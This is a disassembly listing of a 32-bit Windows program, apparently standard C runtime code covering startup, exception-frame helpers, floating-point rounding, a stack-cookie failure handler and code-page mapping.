var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= qword	ptr  4

		cmp	dword_434D3C, 0
		jz	sub_4146A6
		sub	esp, 8
		stmxcsr	[esp+8+var_4]
		mov	eax, [esp+8+var_4]
		and	eax, 1F80h
		cmp	eax, 1F80h
		jnz	short loc_40DE84
		fnstcw	word ptr [esp+8+var_8]
		mov	ax, word ptr [esp+8+var_8]
		and	ax, 7Fh
		cmp	ax, 7Fh

loc_40DE84:				; CODE XREF: sub_40DE50+23j
		lea	esp, [esp+8]
		jnz	sub_4146A6
		jmp	short $+2
		movq	xmm0, [esp+arg_0]
		movapd	xmm2, oword ptr	ds:oword_41E390
		movapd	xmm1, xmm0
		movapd	xmm7, xmm0
		psrlq	xmm0, 34h
		movd	eax, xmm0
		andpd	xmm0, oword ptr	ds:oword_41E3B0
		psubd	xmm2, xmm0
		psrlq	xmm1, xmm2
		test	eax, 800h
		jz	short loc_40DF12
		cmp	eax, 0BFFh
		jl	short loc_40DF4A
		psllq	xmm1, xmm2
		cmp	eax, 0C32h
		jg	short loc_40DEE3
		movq	[esp+arg_0], xmm1
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_40DEE3:				; CODE XREF: sub_40DE50+86j
					; sub_40DE50+E1j
		ucomisd	xmm7, xmm7
		jnp	short loc_40DF0D
		mov	edx, 3ECh
		sub	esp, 10h
		mov	[esp+10h+var_4], edx
		mov	edx, esp
		add	edx, 14h
		mov	[esp+10h+var_8], edx
		mov	[esp+10h+var_C], edx
		mov	[esp+10h+var_10], edx
		call	sub_4143F6
		add	esp, 10h

loc_40DF0D:				; CODE XREF: sub_40DE50+97j
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_40DF12:				; CODE XREF: sub_40DE50+74j
		movq	xmm0, [esp+arg_0]
		psllq	xmm1, xmm2
		movapd	xmm3, xmm0
		cmppd	xmm0, xmm1, 6
		cmp	eax, 3FFh
		jl	short loc_40DF51
		cmp	eax, 432h
		jg	short loc_40DEE3
		andpd	xmm0, oword ptr	ds:oword_41E380
		addsd	xmm1, xmm0
		movq	[esp+arg_0], xmm1
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_40DF4A:				; CODE XREF: sub_40DE50+7Bj
		fld	ds:dbl_41E3C0
		retn
; ---------------------------------------------------------------------------

loc_40DF51:				; CODE XREF: sub_40DE50+DAj
		cmppd	xmm3, oword ptr	ds:oword_41E3A0, 6
		andpd	xmm3, oword ptr	ds:oword_41E380
		movq	[esp+arg_0], xmm3
		fld	[esp+arg_0]
		retn
sub_40DE50	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF6D	proc near		; CODE XREF: .text:0040E012p
					; .text:0040E0AFp ...

arg_0		= dword	ptr  4

		cmp	dword_425B1C, 1
		jnz	short loc_40DF7B
		call	sub_413861

loc_40DF7B:				; CODE XREF: sub_40DF6D+7j
		push	[esp+arg_0]
		call	sub_4136C1
		push	0FFh
		call	sub_4119A7
		pop	ecx
		pop	ecx
		retn
sub_40DF6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF91	proc near		; CODE XREF: .text:0040E097p
		cmp	word ptr ds:400000h, 5A4Dh
		jnz	short loc_40DFCF
		mov	eax, ds:40003Ch
		cmp	dword ptr [eax+400000h], 4550h
		jnz	short loc_40DFCF
		cmp	word ptr [eax+400018h],	10Bh
		jnz	short loc_40DFCF
		cmp	dword ptr [eax+400074h], 0Eh
		jbe	short loc_40DFCF
		xor	ecx, ecx
		cmp	[eax+4000E8h], ecx
		setnz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_40DFCF:				; CODE XREF: sub_40DF91+9j
					; sub_40DF91+1Aj ...
		xor	eax, eax
		retn
sub_40DF91	endp

; ---------------------------------------------------------------------------

loc_40DFD2:				; CODE XREF: .text:0040E1B7j
		push	60h
		push	offset dword_4219E0
		call	__SEH_prolog4
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-70h]
		push	eax
		call	ds:off_41E18C
		mov	dword ptr [ebp-4], 0FFFFFFFEh
		mov	edi, 94h
		push	edi
		push	0
		mov	ebx, ds:dword_41E0E4
		call	ebx	; GetProcessHeap
		push	eax
		call	ds:dword_41E0F8	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40E01D
		push	12h
		call	sub_40DF6D
		pop	ecx
		jmp	loc_40E1A7
; ---------------------------------------------------------------------------

loc_40E01D:				; CODE XREF: .text:0040E00Ej
		mov	[esi], edi
		push	esi
		call	ds:dword_41E058	; GetVersionExA
		push	esi
		push	0
		test	eax, eax
		jnz	short loc_40E03B
		call	ebx	; GetProcessHeap
		push	eax
		call	ds:dword_41E0F0	; RtlFreeHeap
		jmp	loc_40E1A7
; ---------------------------------------------------------------------------

loc_40E03B:				; CODE XREF: .text:0040E02Bj
		mov	eax, [esi+10h]
		mov	[ebp-20h], eax
		mov	eax, [esi+4]
		mov	[ebp-24h], eax
		mov	eax, [esi+8]
		mov	[ebp-28h], eax
		mov	edi, [esi+0Ch]
		and	edi, 7FFFh
		call	ebx	; GetProcessHeap
		push	eax
		call	ds:dword_41E0F0	; RtlFreeHeap
		mov	esi, [ebp-20h]
		cmp	esi, 2
		jz	short loc_40E06D
		or	edi, 8000h

loc_40E06D:				; CODE XREF: .text:0040E065j
		mov	ecx, [ebp-24h]
		mov	eax, ecx
		shl	eax, 8
		mov	edx, [ebp-28h]
		add	eax, edx
		mov	dword_425FF8, esi
		mov	dword_426000, eax
		mov	dword_426004, ecx
		mov	dword_426008, edx
		mov	dword_425FFC, edi
		call	sub_40DF91
		mov	[ebp-20h], eax
		xor	ebx, ebx
		inc	ebx
		push	ebx
		call	sub_40FA83
		pop	ecx
		test	eax, eax
		jnz	short loc_40E0B5
		push	1Ch
		call	sub_40DF6D
		pop	ecx

loc_40E0B5:				; CODE XREF: .text:0040E0ABj
		call	sub_40F4D7
		test	eax, eax
		jnz	short loc_40E0C6
		push	10h
		call	sub_40DF6D
		pop	ecx

loc_40E0C6:				; CODE XREF: .text:0040E0BCj
		call	sub_414DA4
		mov	[ebp-4], ebx
		call	sub_412464
		test	eax, eax
		jge	short loc_40E0DF
		push	1Bh
		call	sub_41195D
		pop	ecx

loc_40E0DF:				; CODE XREF: .text:0040E0D5j
		call	ds:off_41E190
		mov	dword_434D60, eax
		call	sub_414C6F
		mov	dword_425B14, eax
		call	sub_414BB6
		test	eax, eax
		jge	short loc_40E105
		push	8
		call	sub_41195D
		pop	ecx

loc_40E105:				; CODE XREF: .text:0040E0FBj
		call	sub_414943
		test	eax, eax
		jge	short loc_40E116
		push	9
		call	sub_41195D
		pop	ecx

loc_40E116:				; CODE XREF: .text:0040E10Cj
		push	ebx
		call	sub_411A79
		pop	ecx
		test	eax, eax
		jz	short loc_40E128
		push	eax
		call	sub_41195D
		pop	ecx

loc_40E128:				; CODE XREF: .text:0040E11Fj
		call	sub_4148E6
		test	[ebp-44h], bl
		jz	short loc_40E138
		movzx	ecx, word ptr [ebp-40h]
		jmp	short loc_40E13B
; ---------------------------------------------------------------------------

loc_40E138:				; CODE XREF: .text:0040E130j
		push	0Ah
		pop	ecx

loc_40E13B:				; CODE XREF: .text:0040E136j
		push	ecx
		push	eax
		push	0
		push	400000h
		call	sub_4049E1
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-20h], 0
		jnz	short loc_40E158
		push	eax
		call	sub_411BD9

loc_40E158:				; CODE XREF: .text:0040E150j
		call	sub_411BFB
		jmp	short loc_40E18D
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-2Ch], ecx
		push	eax
		push	ecx
		call	sub_414777
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	eax, [ebp-2Ch]
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-20h], 0
		jnz	short loc_40E188
		push	eax
		call	sub_411BEA

loc_40E188:				; CODE XREF: .text:0040E180j
		call	sub_411C0A

loc_40E18D:				; CODE XREF: .text:0040E15Dj
		mov	dword ptr [ebp-4], 0FFFFFFFEh
		mov	eax, [ebp-1Ch]
		jmp	short loc_40E1AC
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFEh

loc_40E1A7:				; CODE XREF: .text:0040E018j
					; .text:0040E036j
		mov	eax, 0FFh

loc_40E1AC:				; CODE XREF: .text:0040E197j
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_40E1B2:				; CODE XREF: y22d6.y.:004397FCj
		call	sub_414DEC
		jmp	loc_40DFD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E1BC	proc near		; CODE XREF: sub_401FC0+58p
					; .text:004022C0p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_41E3C8
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		test	eax, eax
		pop	edi
		mov	[ebp+var_4], eax
		pop	esi
		jz	short loc_40E1EF
		test	byte ptr [eax],	8
		jz	short loc_40E1EF
		mov	[ebp+var_C], 1994000h

loc_40E1EF:				; CODE XREF: sub_40E1BC+25j
					; sub_40E1BC+2Aj
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	ds:off_41E188
		leave
		retn	8
sub_40E1BC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E206	proc near		; CODE XREF: sub_41560B+65p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	ebp, [ebp+var_4]
		mov	esp, [ebx-4]
		jmp	eax
sub_40E206	endp

; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_40E236	proc near		; CODE XREF: sub_415124+31p
					; sub_41557A+59p ...

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_40E236	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E23D	proc near		; CODE XREF: sub_40E3CA+69p
					; sub_41560B:loc_415633p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, large fs:0
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], offset loc_40E266
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_41D486

loc_40E266:				; DATA XREF: sub_40E23D+12o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	eax, 0FFFFFFFDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	edi, large fs:0
		mov	ebx, [ebp+var_4]
		mov	[ebx], edi
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_40E23D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E28F	proc near		; CODE XREF: sub_41D5F3+16j
					; sub_41D60E+16j ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415AD7
		add	esp, 20h
		mov	[ebp+var_8], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_40E28F	endp

; ---------------------------------------------------------------------------

loc_40E2C5:				; DATA XREF: sub_40E56F+24o
		push	esi
		cld
		mov	esi, [esp+0Ch]
		mov	ecx, [esi+8]
		xor	ecx, esi
		call	sub_40AB4A
		push	0
		push	esi
		push	dword ptr [esi+14h]
		push	dword ptr [esi+0Ch]
		push	0
		push	dword ptr [esp+24h]
		push	dword ptr [esi+10h]
		push	dword ptr [esp+24h]
		call	sub_415AD7
		add	esp, 20h
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E2F5	proc near		; CODE XREF: sub_40E3CA+81p
					; sub_415677+53p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		cmp	[ebp+arg_0], 123h
		jnz	short loc_40E317
		mov	eax, offset loc_40E39E
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		xor	eax, eax
		inc	eax
		jmp	loc_40E3C7
; ---------------------------------------------------------------------------

loc_40E317:				; CODE XREF: sub_40E2F5+Ej
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_40E3CA
		mov	eax, dword_423068
		lea	ecx, [ebp+var_28]
		xor	eax, ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_10], eax
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_38], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_30], eax
		call	sub_40F39E
		mov	eax, [eax+80h]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_34]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	[ebp+var_2C]
		pop	ecx
		pop	ecx
		and	[ebp+var_38], 0

loc_40E39E:				; DATA XREF: sub_40E2F5+10o
		cmp	[ebp+var_4], 0
		jz	short loc_40E3BB
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_40E3C4
; ---------------------------------------------------------------------------

loc_40E3BB:				; CODE XREF: sub_40E2F5+ADj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_40E3C4:				; CODE XREF: sub_40E2F5+C4j
		mov	eax, [ebp+var_38]

loc_40E3C7:				; CODE XREF: sub_40E2F5+1Dj
		pop	ebx
		leave
		retn
sub_40E2F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3CA	proc near		; DATA XREF: sub_40E2F5+26o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		cld
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		xor	ecx, [ebp+arg_4]
		call	sub_40AB4A
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		jz	short loc_40E3FA
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		xor	eax, eax
		inc	eax
		jmp	short loc_40E464
; ---------------------------------------------------------------------------
		jmp	short loc_40E464
; ---------------------------------------------------------------------------

loc_40E3FA:				; CODE XREF: sub_40E3CA+1Dj
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+18h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		push	[ebp+arg_0]
		call	sub_415AD7
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_40E438
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_40E23D

loc_40E438:				; CODE XREF: sub_40E3CA+61j
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	123h
		call	sub_40E2F5
		add	esp, 1Ch
		mov	eax, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	eax
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax

loc_40E464:				; CODE XREF: sub_40E3CA+2Cj
					; sub_40E3CA+2Ej
		pop	ebx
		leave
		retn
sub_40E3CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E467	proc near		; CODE XREF: sub_415677+81p
					; sub_415769+1C6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+10h]
		mov	esi, [edi+0Ch]
		mov	[ebp+var_4], eax
		mov	ebx, esi
		jmp	short loc_40E4AB
; ---------------------------------------------------------------------------

loc_40E47E:				; CODE XREF: sub_40E467+4Bj
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40E488
		call	sub_415C07

loc_40E488:				; CODE XREF: sub_40E467+1Aj
		mov	ecx, [ebp+var_4]
		dec	esi
		mov	eax, esi
		imul	eax, 14h
		add	eax, ecx
		mov	ecx, [ebp+arg_8]
		cmp	[eax+4], ecx
		jge	short loc_40E4A0
		cmp	ecx, [eax+8]
		jle	short loc_40E4A5

loc_40E4A0:				; CODE XREF: sub_40E467+32j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40E4AE

loc_40E4A5:				; CODE XREF: sub_40E467+37j
		dec	[ebp+arg_4]
		mov	ebx, [ebp+arg_0]

loc_40E4AB:				; CODE XREF: sub_40E467+15j
		mov	[ebp+arg_0], esi

loc_40E4AE:				; CODE XREF: sub_40E467+3Cj
		cmp	[ebp+arg_4], 0
		jge	short loc_40E47E
		mov	eax, [ebp+arg_C]
		inc	esi
		mov	[eax], esi
		mov	eax, [ebp+arg_10]
		mov	[eax], ebx
		cmp	ebx, [edi+0Ch]
		ja	short loc_40E4C8
		cmp	esi, ebx
		jbe	short loc_40E4CD

loc_40E4C8:				; CODE XREF: sub_40E467+5Bj
		call	sub_415C07

loc_40E4CD:				; CODE XREF: sub_40E467+5Fj
		mov	eax, esi
		imul	eax, 14h
		add	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E467	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4DA	proc near		; CODE XREF: sub_41525F+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		call	sub_40F39E
		mov	eax, [eax+98h]
		mov	[esi+4], eax
		call	sub_40F39E
		mov	[eax+98h], esi
		mov	eax, esi
		pop	esi
		retn
sub_40E4DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E502	proc near		; CODE XREF: sub_415385+60p

arg_0		= dword	ptr  4

		call	sub_40F39E
		mov	eax, [eax+98h]
		jmp	short loc_40E51A
; ---------------------------------------------------------------------------

loc_40E50F:				; CODE XREF: sub_40E502+1Aj
		mov	ecx, [eax]
		cmp	ecx, [esp+arg_0]
		jz	short loc_40E520
		mov	eax, [eax+4]

loc_40E51A:				; CODE XREF: sub_40E502+Bj
		test	eax, eax
		jnz	short loc_40E50F
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_40E520:				; CODE XREF: sub_40E502+13j
		xor	eax, eax
		retn
sub_40E502	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E523	proc near		; CODE XREF: sub_415385+9p

arg_0		= dword	ptr  4

		push	esi
		call	sub_40F39E
		mov	esi, [esp+4+arg_0]
		cmp	esi, [eax+98h]
		jnz	short loc_40E545
		call	sub_40F39E
		mov	ecx, [esi+4]
		mov	[eax+98h], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40E545:				; CODE XREF: sub_40E523+10j
		call	sub_40F39E
		mov	eax, [eax+98h]
		jmp	short loc_40E55B
; ---------------------------------------------------------------------------

loc_40E552:				; CODE XREF: sub_40E523+3Cj
		mov	ecx, [eax+4]
		cmp	esi, ecx
		jz	short loc_40E567
		mov	eax, ecx

loc_40E55B:				; CODE XREF: sub_40E523+2Dj
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40E552
		pop	esi
		jmp	sub_415C07
; ---------------------------------------------------------------------------

loc_40E567:				; CODE XREF: sub_40E523+34j
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		pop	esi
		retn
sub_40E523	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E56F	proc near		; CODE XREF: sub_41525F+7Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_423068
		and	[ebp+var_18], 0
		lea	ecx, [ebp+var_18]
		xor	eax, ecx
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		inc	eax
		mov	[ebp+var_14], offset loc_40E2C5
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_18]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_415C50
		mov	ecx, eax
		mov	eax, [ebp+var_18]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_40E56F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E5CD	proc near		; CODE XREF: sub_401DA8+7p
					; sub_401FC0+7p ...

arg_0		= byte ptr  4

		push	eax
		push	large dword ptr	fs:0
		lea	eax, [esp+8+arg_0]
		sub	esp, [esp+0Ch]
		push	ebx
		push	esi
		push	edi
		mov	[eax], ebp
		mov	ebp, eax
		mov	eax, dword_423068
		xor	eax, ebp
		push	eax
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		mov	large fs:0, eax
		retn
sub_40E5CD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E600	proc near		; CODE XREF: sub_4021E4+7p
					; sub_415216+7p

arg_0		= byte ptr  4

		push	eax
		push	large dword ptr	fs:0
		lea	eax, [esp+8+arg_0]
		sub	esp, [esp+0Ch]
		push	ebx
		push	esi
		push	edi
		mov	[eax], ebp
		mov	ebp, eax
		mov	eax, dword_423068
		xor	eax, ebp
		push	eax
		mov	[ebp-10h], esp
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		mov	large fs:0, eax
		retn
sub_40E600	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E636	proc near		; CODE XREF: sub_4085E6+Ap
					; .text:004086D2p ...

arg_0		= byte ptr  4

		push	eax
		push	large dword ptr	fs:0
		lea	eax, [esp+8+arg_0]
		sub	esp, [esp+0Ch]
		push	ebx
		push	esi
		push	edi
		mov	[eax], ebp
		mov	ebp, eax
		mov	eax, dword_423068
		xor	eax, ebp
		push	eax
		mov	[ebp-10h], eax
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		mov	large fs:0, eax
		retn
sub_40E636	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E66C	proc near		; CODE XREF: sub_401DA8+2Dp
					; sub_401FC0+6Bp ...
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		push	ecx
		retn
sub_40E66C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E680	proc near		; CODE XREF: sub_4085E6:loc_4086C2p
					; .text:loc_4088C8p ...
		mov	ecx, [ebp-10h]
		xor	ecx, ebp
		call	sub_40AB4A
		jmp	sub_40E66C
sub_40E680	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E68F	proc near		; CODE XREF: sub_40AB4A:loc_40AB54j

var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 328h
		mov	dword_425C28, eax
		mov	dword_425C24, ecx
		mov	dword_425C20, edx
		mov	dword_425C1C, ebx
		mov	dword_425C18, esi
		mov	dword_425C14, edi
		mov	word_425C40, ss
		mov	word_425C34, cs
		mov	word_425C10, ds
		mov	word_425C0C, es
		mov	word_425C08, fs
		mov	word_425C04, gs
		pushf
		pop	dword_425C38
		mov	eax, [ebp+0]
		mov	dword_425C2C, eax
		mov	eax, [ebp+4]
		mov	dword_425C30, eax
		lea	eax, [ebp+arg_0]
		mov	dword_425C3C, eax
		mov	eax, [ebp+var_320]
		mov	dword_425B78, 10001h
		mov	eax, dword_425C30
		mov	dword_425B2C, eax
		mov	dword_425B20, 0C0000409h
		mov	dword_425B24, 1
		mov	eax, dword_423068
		mov	[ebp+var_328], eax
		mov	eax, dword_42306C
		mov	[ebp+var_324], eax
		call	ds:off_41E194
		mov	dword_425B70, eax
		push	1
		call	sub_411C65
		pop	ecx
		push	0
		call	ds:dword_41E1A8	; SetUnhandledExceptionFilter
		push	offset dword_41E3E8
		call	ds:off_41E1A4
		cmp	dword_425B70, 0
		jnz	short loc_40E77F
		push	1
		call	sub_411C65
		pop	ecx

loc_40E77F:				; CODE XREF: sub_40E68F+E6j
		push	0C0000409h
		call	ds:off_41E1A0
		push	eax
		call	ds:off_41E0DC
		leave
		retn
sub_40E68F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E793	proc near		; CODE XREF: sub_40EABF+11Ep
					; sub_40EABF+173p
		sub	eax, 3A4h
		jz	short loc_40E7BC
		sub	eax, 4
		jz	short loc_40E7B6
		sub	eax, 0Dh
		jz	short loc_40E7B0
		dec	eax
		jz	short loc_40E7AA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_40E7AA:				; CODE XREF: sub_40E793+12j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_40E7B0:				; CODE XREF: sub_40E793+Fj
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_40E7B6:				; CODE XREF: sub_40E793+Aj
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_40E7BC:				; CODE XREF: sub_40E793+5j
		mov	eax, 411h
		retn
sub_40E793	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E7C2	proc near		; CODE XREF: sub_40EABF+2Bp
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, 101h
		mov	esi, eax
		push	ebp
		xor	edi, edi
		lea	ebx, [esi+1Ch]
		push	edi
		push	ebx
		call	sub_40C6F0
		mov	[esi+4], edi
		mov	[esi+8], edi
		mov	[esi+0Ch], edi
		xor	eax, eax
		lea	edi, [esi+10h]
		stosd
		stosd
		stosd
		mov	eax, offset dword_423070
		add	esp, 0Ch
		sub	eax, esi

loc_40E7F5:				; CODE XREF: sub_40E7C2+3Aj
		mov	cl, [eax+ebx]
		mov	[ebx], cl
		inc	ebx
		dec	ebp
		jnz	short loc_40E7F5
